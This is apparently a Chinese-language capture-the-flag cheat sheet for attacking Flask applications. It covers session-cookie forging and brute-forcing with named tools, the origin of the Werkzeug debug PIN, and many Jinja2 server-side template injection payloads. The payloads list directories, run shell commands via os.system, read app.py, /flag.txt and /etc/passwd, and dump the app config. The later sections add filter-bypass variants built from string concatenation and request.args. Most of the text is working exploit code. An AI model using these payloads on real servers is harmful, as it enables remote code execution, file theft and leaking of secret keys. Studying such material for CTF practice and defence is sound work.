版本特性

flask 3.6采用MD5加密,flask 3.8采用sha1加密

werkzeug介绍

1
2
3
flask基于werkzeug模块构建,werkzeug是一个WSGI工具包,封装了web框架的内容
当flask运行app.run()时,将会调用werkzeug.serving的run_simple()函数

secret_key

flask中的session使用了hmac签名,而hmac算法需要一个secret_key作为密钥

1
最终session值 = base64(session)+ secret_key

flask session加解密工具:https://github.com/noraj/flask-session-cookie-manager

1
2
解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”
加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

flask session爆破工具:https://github.com/Paradoxis/Flask-Unsign

1
python flask-unsign --unsign --cookie "session值"  --wordlist  "字典"  --no-literal-eval

PIN码

PIN码是用于debug模式的调试,如果debug设置为True且服务器出现了报错

访问debug页面的攻击者就可以通过PIN码输入python代码获取权限

1
2
3
4
5
路径:Python\Lib\site-packages\werkzeug\debug\__init__.py
相关函数:
1. __init__()
2. pin()
3. get_pin_and_cookie_name

运行flask的时候会直接输出PIN码,除去减号一共9位数字

如果是Linux系统可以通过输入对应的变量来获取PIN码

如果是Windows系统时,PIN码会直接等于os.environ.get("WERKZEUG_DEBUG_PIN")

SSTI

SSTI读取文件夹信息

通过import os和os.listdir()获取系统根路径下的文件信息(如果os字符串被禁用时,可通过'o' + 's'绕过)

如果需要读取web路径,可使用.

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}

执行ls命令读取WEB路径下的文件

1
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}

SSTI读取文件内容

读取WEB路径下的app.py文件(可以查看app.py文件的black_list查看被禁用的内容)

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

读取系统根路径下的文件flag.txt

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag.txt','r').read()}}{% endif %}{% endfor %}

读取/etc/passwd文件,开头不使用/时默认为WEB路径下

1
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

绕过的payload-1

1
2
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/flag.txt')[request.args.d]()}}?
a=__class__&b=__mro__&c=__subclasses__&d=read

绕过的payload-2

1
2
3
4
5
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:100] %}
{% if c.__name__=='ca'+'tch_warnings' %}
{{c['__in'+'it__']['__global'+'s__']['__buil'+'tins__'].open('/flag.txt','r')['re'+'ad']()}}
{% endif %}
{% endfor %}

绕过的payload-3

1
2
3
4
5
{% for c in ''['__c'+'lass__']['__m'+'ro__'][2]['__subcl'+'asses__']()[:42] %}
{% if c.__name__=='file' %}
{{c('/flag.txt')['re'+'ad']()}}
{% endif %}
{% endfor %}

SSTI获取当前所使用的类

1
{{对象名.__class__}}

SSTI获取所继承的基类

1
{{对象名.__bases__}}
1
{{对象名.__mro__}}

SSTI获取构造函数

1
{{对象名.__init__}}

SSTI获取全局配置config

1
{{config}}
1
{{url_for.__globals__['current_app'].config}}
1
{{get_flashed_messages.__globals__['current_app'].config}}

SSTI读取所有模块名

其中的模块名都会按下标顺序排列,第一个为0

1
{{[].__class__.__base__.__subclasses__()}}

GET传参绕过限制

存在如下的代码被限制时

1
/{{".__class__"}} 

可使用requests.args.参数名的方式绕过

1
/{{"requests.args.a}}?a=__class__ 

如果有多个参数时,可以使用中括号将各个payload括起来

1
/{{"[request.args.a][request.args.b]}}?a=__class__&b=__mro__